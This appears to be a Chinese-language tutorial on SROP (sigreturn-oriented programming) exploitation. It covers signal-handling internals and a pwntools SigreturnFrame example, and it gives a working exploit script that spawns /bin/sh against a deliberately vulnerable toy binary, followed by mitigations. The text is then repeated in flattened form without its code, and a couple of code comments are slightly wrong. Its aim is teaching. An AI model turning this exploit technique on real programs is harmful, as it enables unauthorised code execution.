SROP exploit
字数 1505 2025-08-05 08:18:36

SROP (Sigreturn Oriented Programming) 攻击技术详解

1. SROP 技术概述

SROP (Sigreturn Oriented Programming) 是一种利用类Unix系统中信号处理机制的ROP攻击技术。相比传统ROP技术,SROP大大简化了攻击流程,特别是在amd64架构上:

  • 传统ROP需要寻找大量gadgets来对寄存器赋值和执行特定操作
  • SROP通过利用信号处理机制,可以一次性控制所有寄存器状态
  • 无需复杂的gadgets组装过程

2. 技术原理

2.1 Unix信号处理机制

当用户层进程发起signal时,内核会执行以下流程:

  1. 控制权从用户层切换到内核层
  2. 内核保存进程的上下文(寄存器状态)到用户栈上
  3. rt_sigreturn地址压栈
  4. 跳转到用户层执行Signal Handler
  5. Signal Handler执行完毕后调用rt_sigreturn
  6. rt_sigreturn执行后,内核恢复之前保存的进程上下文
  7. 控制权交还给用户层进程

2.2 关键数据结构

内核保存的上下文信息存储在ucontext_t结构体中(64位架构):

typedef struct ucontext_t {
    unsigned long int uc_flags;
    struct ucontext_t *uc_link;
    stack_t uc_stack;        // 该上下文使用的栈
    mcontext_t uc_mcontext;  // 保存的上下文
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
} ucontext_t;

其中最重要的是uc_mcontext,它实际上是sigcontext结构体:

struct sigcontext {
    __uint64_t r8;
    __uint64_t r9;
    __uint64_t r10;
    __uint64_t r11;
    __uint64_t r12;
    __uint64_t r13;
    __uint64_t r14;
    __uint64_t r15;
    __uint64_t rdi;
    __uint64_t rsi;
    __uint64_t rbp;
    __uint64_t rbx;
    __uint64_t rdx;
    __uint64_t rax;
    __uint64_t rcx;
    __uint64_t rsp;
    __uint64_t rip;
    __uint64_t eflags;
    unsigned short cs;
    unsigned short gs;
    unsigned short fs;
    unsigned short ss;
    __uint64_t err;
    __uint64_t trapno;
    __uint64_t oldmask;
    __uint64_t cr2;
    __extension__ union {
        struct _fpstate *fpstate;
        __uint64_t __fpstate_word;
    };
    __uint64_t __reserved1[8];
};

3. SROP攻击核心思想

利用rt_sigreturn恢复ucontext_t的机制,攻击者可以:

  1. 构造一个伪造的ucontext_t结构体
  2. 通过控制该结构体内容来控制所有寄存器状态
  3. 特别是控制rip寄存器实现任意代码执行

4. 利用工具

pwntools提供了方便的SROP构造功能:

from pwn import *

context.arch = "amd64"  # 指定架构

# 构造伪造的上下文
frame = SigreturnFrame()
frame.rax = 0           # 系统调用号
frame.rdi = 0           # 第一个参数
frame.rsi = 0           # 第二个参数
frame.rdx = 0           # 第三个参数
frame.rip = 0x12345678  # 控制执行流

特别注意cs, gs, fs, ss等段寄存器需要正确设置,否则程序无法正常运行:

# 设置段寄存器 (16位值)
frame.csgsfs = (0x002b * 0x1000000000000) | 
               (0x0000 * 0x100000000) | 
               (0x0001 * 0x10000) | 
               (0x0033 * 0x1)

5. 攻击利用步骤

  1. 控制程序执行流:通过缓冲区溢出等漏洞控制程序执行流程
  2. 构造ROP链:设置调用rt_sigreturn的ROP链
  3. 控制栈布局:在栈上布置伪造的ucontext_t结构体
  4. 触发信号处理:执行rt_sigreturn系统调用(系统调用号15)

6. 实际攻击示例

6.1 漏洞程序分析

示例程序代码(编译时需关闭栈保护):

char global_buf[0x200];

int main() {
    asm(
        // 读取最多200字节
        "mov $0, %%rax \n"   // sys_read
        "mov $0, %%rdi \n"   // fd
        "lea %0, %%rsi \n"   // buf
        "mov $0x200, %%rdx \n" // count
        "syscall \n"
        
        // 读取字节数小于ucontext_t结构体则直接exit
        "cmp $0xf8, %%rax \n"
        "jb exit \n"
        
        // 进行恢复上下文
        "mov $0, %%rdi \n"
        "mov %%rsi, %%rsp \n"
        "mov $15, %%rax \n"  // sys_rt_sigaction
        "syscall \n"
        "jmp exit \n"
        
        /* split */
        "nop \n"
        "nop \n"
        
        // syscall的symbol,便于查找
        "syscall: \n"
        "syscall \n"
        "jmp exit \n"
        
        // 退出程序
        "exit: \n"
        "mov $60, %%rax \n"
        "mov $0, %%rdi \n"
        "syscall \n"
        : : "m" (global_buf) :
    );
}

安全防护检查:

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

6.2 攻击脚本

#!/usr/bin/python2
from pwn import *

context.arch = "amd64"
# context.log_level = "debug"

elf = ELF('./srop')
sh = process('./srop')

# 生成调试文件
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

str_bin_sh_offset = 0x100

# 创建伪造的上下文帧
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 系统调用号59 (execve)
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset  # "/bin/sh"字符串地址
frame.rsi = 0  # argv = NULL
frame.rdx = 0  # envp = NULL
frame.rip = elf.symbols['syscall']  # 返回到syscall指令

# 发送payload: 伪造的帧 + "/bin/sh"字符串
sh.send(str(frame).ljust(str_bin_sh_offset, 'a') + '/bin/sh\x00')
sh.interactive()

# 删除调试文件
os.system("rm -f pid")

6.3 攻击流程解析

  1. 程序读取用户输入到global_buf缓冲区
  2. 如果输入大小超过ucontext_t结构体大小(0xf8),则:
    • 将栈指针指向输入缓冲区
    • 调用rt_sigreturn系统调用(rax=15)
  3. 攻击者构造的伪造ucontext_t被恢复:
    • 设置rax=59(execve系统调用号)
    • 设置rdi指向"/bin/sh"字符串
    • 设置rsirdx为0
    • 设置rip指向syscall指令
  4. 系统恢复上下文后执行execve("/bin/sh", NULL, NULL),获得shell

7. 防御措施

  1. 栈保护:启用栈金丝雀(Stack Canary)
  2. 地址随机化:启用ASLR/PIE
  3. SROP特定防护
    • 内核可以验证sigcontext结构体的合法性
    • 限制rt_sigreturn只能恢复来自内核的上下文
  4. 权限控制:使用最小权限原则运行程序

8. 总结

SROP技术通过利用信号处理机制,提供了一种高效的控制所有寄存器的方法。相比传统ROP,它:

  • 减少了寻找gadgets的复杂性
  • 一次性控制所有寄存器状态
  • 特别适合与其他漏洞组合使用

理解SROP技术有助于深入理解Unix信号处理机制和内核与用户空间的交互方式,同时也强调了系统安全防护的重要性。

SROP (Sigreturn Oriented Programming) 攻击技术详解 1. SROP 技术概述 SROP (Sigreturn Oriented Programming) 是一种利用类Unix系统中信号处理机制的ROP攻击技术。相比传统ROP技术,SROP大大简化了攻击流程,特别是在amd64架构上: 传统ROP需要寻找大量gadgets来对寄存器赋值和执行特定操作 SROP通过利用信号处理机制,可以一次性控制所有寄存器状态 无需复杂的gadgets组装过程 2. 技术原理 2.1 Unix信号处理机制 当用户层进程发起signal时,内核会执行以下流程: 控制权从用户层切换到内核层 内核保存进程的上下文(寄存器状态)到用户栈上 将 rt_sigreturn 地址压栈 跳转到用户层执行Signal Handler Signal Handler执行完毕后调用 rt_sigreturn rt_sigreturn 执行后,内核恢复之前保存的进程上下文 控制权交还给用户层进程 2.2 关键数据结构 内核保存的上下文信息存储在 ucontext_t 结构体中(64位架构): 其中最重要的是 uc_mcontext ,它实际上是 sigcontext 结构体: 3. SROP攻击核心思想 利用 rt_sigreturn 恢复 ucontext_t 的机制,攻击者可以: 构造一个伪造的 ucontext_t 结构体 通过控制该结构体内容来控制所有寄存器状态 特别是控制 rip 寄存器实现任意代码执行 4. 利用工具 pwntools提供了方便的SROP构造功能: 特别注意 : cs , gs , fs , ss 等段寄存器需要正确设置,否则程序无法正常运行: 5. 攻击利用步骤 控制程序执行流 :通过缓冲区溢出等漏洞控制程序执行流程 构造ROP链 :设置调用 rt_sigreturn 的ROP链 控制栈布局 :在栈上布置伪造的 ucontext_t 结构体 触发信号处理 :执行 rt_sigreturn 系统调用(系统调用号15) 6. 实际攻击示例 6.1 漏洞程序分析 示例程序代码(编译时需关闭栈保护): 安全防护检查: 6.2 攻击脚本 6.3 攻击流程解析 程序读取用户输入到 global_buf 缓冲区 如果输入大小超过 ucontext_t 结构体大小(0xf8),则: 将栈指针指向输入缓冲区 调用 rt_sigreturn 系统调用(rax=15) 攻击者构造的伪造 ucontext_t 被恢复: 设置 rax=59 (execve系统调用号) 设置 rdi 指向"/bin/sh"字符串 设置 rsi 和 rdx 为0 设置 rip 指向 syscall 指令 系统恢复上下文后执行 execve("/bin/sh", NULL, NULL) ,获得shell 7. 防御措施 栈保护 :启用栈金丝雀(Stack Canary) 地址随机化 :启用ASLR/PIE SROP特定防护 : 内核可以验证 sigcontext 结构体的合法性 限制 rt_sigreturn 只能恢复来自内核的上下文 权限控制 :使用最小权限原则运行程序 8. 总结 SROP技术通过利用信号处理机制,提供了一种高效的控制所有寄存器的方法。相比传统ROP,它: 减少了寻找gadgets的复杂性 一次性控制所有寄存器状态 特别适合与其他漏洞组合使用 理解SROP技术有助于深入理解Unix信号处理机制和内核与用户空间的交互方式,同时也强调了系统安全防护的重要性。